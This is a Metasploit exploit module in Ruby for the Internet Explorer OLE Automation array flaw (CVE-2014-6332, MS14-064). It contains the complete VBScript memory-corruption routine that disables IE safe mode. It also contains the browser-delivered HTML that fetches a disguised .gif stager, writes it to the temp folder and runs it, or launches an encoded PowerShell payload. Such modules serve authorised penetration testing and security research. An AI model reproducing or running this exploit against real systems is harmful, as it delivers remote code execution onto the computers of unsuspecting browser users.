##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
        'Description' => %q{
          This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
          The vulnerability is known to affect Internet Explorer 3.0 until version 11 within
          Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will
          only target Windows XP and Windows 7 box due to the Powershell limitation.

          Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
          newer Windows systems, the exploit will try using Powershell instead.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Robert Freeman', # IBM X-Force
          'yuange', # twitter.com/yuange75
          'Rik van Duijn', # twitter.com/rikvduijn
          'Wesley Neelen', # security[at]forsec.nl
          'GradiusX <francescomifsud[at]gmail.com>',
          'b33f', # @FuzzySec
          'sinn3r'
        ],
        'References' => [
          [ 'CVE', '2014-6332' ],
          [ 'MSB', 'MS14-064' ],
          [ 'OSVDB', '114533' ],
          [ 'EDB', '35229' ],
          [ 'EDB', '35308' ],
          [ 'URL', 'http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows' ],
          [ 'URL', 'https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module' ]
        ],
        'Platform' => 'win',
        'Targets' => [
          [
            'Windows XP',
            {
              'os_name' => OperatingSystems::Match::WINDOWS_XP
            }
          ],
          [
            'Windows 7',
            {
              'os_name' => OperatingSystems::Match::WINDOWS_7
            }
          ]
        ],
        'BrowserRequirements' => {
          :source => /script|headers/i,
          :ua_name => HttpClients::IE,
          :arch => ARCH_X86,
          :ua_ver => lambda { |ver| ver.to_i.between?(4, 10) }
        },
        'DefaultOptions' => {
          'HTTP::compression' => 'gzip',
          'Powershell::wrap_double_quotes' => false
        },
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Privileged' => false,
        'DisclosureDate' => '2014-11-13',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]),
        OptBool.new('AllowPowershellPrompt', [true, 'Allow exploit to try Powershell', false])
      ]
    )
  end

  def vbs_prepare()
    code = %Q|
dim   aa()
dim   ab()
dim   a0
dim   a1
dim   a2
dim   a3
dim   win9x
dim   intVersion
dim   rnda
dim   funclass
dim   myarray

Begin()

function Begin()
  On Error Resume Next
  info=Navigator.UserAgent

  if(instr(info,"Win64")>0)   then
     exit   function
  end if

  if (instr(info,"MSIE")>0)   then
             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
     exit   function

  end if

  win9x=0

  BeginInit()
  If Create()=True Then
     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

     if(intVersion<4) then
         document.write("<br> IE")
         document.write(intVersion)
         runshellcode()
     else
          setnotsafemode()
     end if
  end if
end function

function BeginInit()
   Randomize()
   redim aa(5)
   redim ab(5)
   a0=13+17*rnd(6)
   a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  For i = 0 To 400
    If Over()=True Then
    '   document.write(i)
       Create=True
       Exit For
    End If
  Next
end function

sub testaa()
end sub

function mydata()
    On Error Resume Next
     i=testaa
     i=null
     redim  Preserve aa(a2)

     ab(0)=0
     aa(a1)=i
     ab(0)=6.36598737437801E-314

     aa(a1+2)=myarray
     ab(2)=1.74088534731324E-310
     mydata=aa(a1)
     redim  Preserve aa(a0)
end function

function setnotsafemode()
    On Error Resume Next
    i=mydata()
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134)
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0
              redim  Preserve aa(a2)
     aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0)

     j=0
              j=readmemo(i+&h120+k)

               Exit for
           end if

    next
    ab(2)=1.69759663316747E-313
    runaaaa()
end function

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000

    redim  Preserve aa(a0)
    redim   ab(a0)

    redim  Preserve aa(a2)

    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10

    If(IsObject(aa(a1-1)) = False) Then
       if(intVersion<4) then
           mem=cint(a0+1)*16
           j=vartype(aa(a1-1))
           if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then
                 If(IsObject(aa(a1)) = False ) Then
                   type1=VarType(aa(a1))
                 end if
              end if
           else
             redim  Preserve aa(a0)
             exit  function

           end if
        else
           if(vartype(aa(a1-1))<>0)  Then
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if
            end if
        end if
    end if


    If(type1=&h2f66) Then
          Over=True
    End If
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If

    redim  Preserve aa(a0)

end function

function ReadMemo(add)
    On Error Resume Next
    redim  Preserve aa(a2)

    ab(0)=0
    aa(a1)=add+4
    ab(0)=1.69759663316747E-313
    ReadMemo=lenb(aa(a1))

    ab(0)=0

    redim  Preserve aa(a0)
end function

    |
  end

  def vbs_vector(prep)
    vbs_name = "#{Rex::Text.rand_text_alpha(rand(16) + 4)}.vbs"
    gif_name = "#{Rex::Text.rand_text_alpha(rand(5) + 3)}.gif"

    payload_src = "#{gif_name}"

    # I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
    # with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
    %Q|<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<body>
<script language="VBScript">
function runaaaa()
On Error Resume Next

set xmlhttp = CreateObject("Microsoft.XMLHTTP")
xmlhttp.open "GET", "#{payload_src}", False
xmlhttp.send

Set objFSO=CreateObject("Scripting.FileSystemObject")
folder = objFSO.GetSpecialFolder(2)
scriptName = folder + "\\#{vbs_name}"
Set objFile = objFSO.CreateTextFile(scriptName,True)
objFile.Write xmlhttp.responseText
objFile.Close

set shell=createobject("Shell.Application")
shell.ShellExecute "wscript.exe", scriptName, "", "open", 0

end function
</script>
<script language="VBScript">
#{prep}
</script>
</body>
</html>
    |
  end

  def powershell_vector(prep)
    if datastore['TRYUAC']
      tryuac = 'runas'
    else
      tryuac = 'open'
    end

    # Powershell was the first technique demonstrated publicly.
    # On some Windows setups such as Windows 7 without a service pack, this works quite well.
    # But other Windows setups you will get a prompt.
    payl = cmd_psh_payload(payload.encoded, "x86", { :remove_comspec => true })
    payl.slice! "powershell.exe "

    %Q|<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<body>
<script language="VBScript">
function runaaaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0
end function
</script>
<script language="VBScript">
#{prep}
</script>
</body>
</html>
    |
  end

  def get_html
    prep = vbs_prepare()
    case get_target.name
    when OperatingSystems::Match::WINDOWS_XP
      return vbs_vector(prep)
    else
      return powershell_vector(prep)
    end
  end

  def on_request_exploit(cli, request, target_info)
    if get_target.name.match(OperatingSystems::Match::WINDOWS_7) && !datastore['AllowPowershellPrompt']
      send_not_found(cli)
      return
    end

    case request.uri
    when /\.gif/
      if get_target.name =~ OperatingSystems::Match::WINDOWS_XP
        p = regenerate_payload(cli)
        data = generate_payload_exe({ :code => p.encoded })

        # The default template uses \n, and wscript.exe isn't very happy about that.
        # It should be \r\n .
        vbs = Msf::Util::EXE.to_exe_vbs(data).gsub(/\x0a/, "\r\n")

        print_status("Sending VBS stager")
        send_response(cli, vbs)
      else
        # The VBS technique is only for Windows XP. So if a non-XP system is requesting it,
        # something is not right.
        send_not_found(cli)
      end
    else
      print_status("Sending exploit...")
      send_exploit_html(cli, get_html)
    end
  end
end
